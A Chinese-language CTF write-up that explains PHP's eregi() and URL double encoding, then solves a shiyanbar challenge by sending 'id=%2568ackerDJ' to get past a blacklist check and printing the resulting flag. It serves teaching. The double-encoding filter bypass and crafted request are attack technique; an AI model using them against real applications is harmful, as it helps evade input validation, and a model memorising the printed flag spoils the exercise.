筆記 字符串比對解析,與大小寫無關。 eregi()函數 語法: eregi(string pattern, string string, array [regs]); 返回值: 整數/數組 特點:PHP函數eregi()與大小寫無關,類似函數ereg() 則區分大小寫 例:if (eregi("C","abcdef") //true URl雙編碼: 將經過url編碼產生的'%'再次編碼,及把'%'替換為'%25'
鏈接: http://www.shiyanbar.com/ctf/54

頁面情況

獲得提示: index.php.txt <?php if(eregi("hackerDJ",$_GET[id])) { echo("<p>not allowed!</p>"); exit(); } $_GET[id] = urldecode($_GET[id]); if($_GET[id] == "hackerDJ") { echo "<p>Access granted!</p>"; echo "<p>flag: *****************} </p>"; } ?> <br><br> Can you authenticate to this website? 首先eregi()函數進行一次比較判斷,如果想打印flag,id不能等於"hackerDJ" ,並且經過url解碼后id等於"hackerDJ"
但這里需要注意的是:在瀏覽器中提交時瀏覽器會為我們進行一次解碼
可以在本地執行下面的代碼:
<?php $id = '%68ackerDJ'; if(eregi("hackerDJ",$id)) { echo("<p>not allowed!</p>"); exit(); } $id = urldecode($id); if($id == "hackerDJ") { echo "<p>Access granted!</p>"; echo "<p>flag: *****************} </p>"; } ?>
可以看到成功打印,說明瀏覽器的確為我們轉換了一次
因此我們需要進行兩次編碼: h --> %68 --> %2568
構造url: index.php?id=%2568ackerDJ
提交即可獲得flag: flag: DUTCTF{PHP_is_the_best_program_language}
